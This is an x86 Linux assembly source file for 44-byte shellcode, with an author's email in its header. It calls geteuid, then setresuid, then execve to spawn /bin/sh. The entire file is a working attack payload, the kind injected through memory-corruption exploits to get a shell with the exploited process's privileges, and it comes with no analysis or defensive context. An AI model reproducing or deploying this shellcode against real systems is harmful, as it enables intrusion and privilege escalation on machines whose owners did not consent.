; x86 setresuid execve shellcode (44 bytes)
; jip@soldierx.com
bits 32
global _start

section .text
_start:
	nop
	
	; call geteuid
	xor eax, eax
	mov al, 0x31
	int 0x80

	; call setresuid
	mov ebx, eax
	mov ecx, eax
	mov edx, eax
	xor eax, eax
	mov al, 0xa4
	int 0x80

	; call execve
	xor eax, eax
	push eax
	push 0x68732f6e
	push 0x69622f2f	
	mov ebx, esp
	push eax
	mov edx, esp
	push ebx
	mov ecx, esp
	mov al, 11
	int 0x80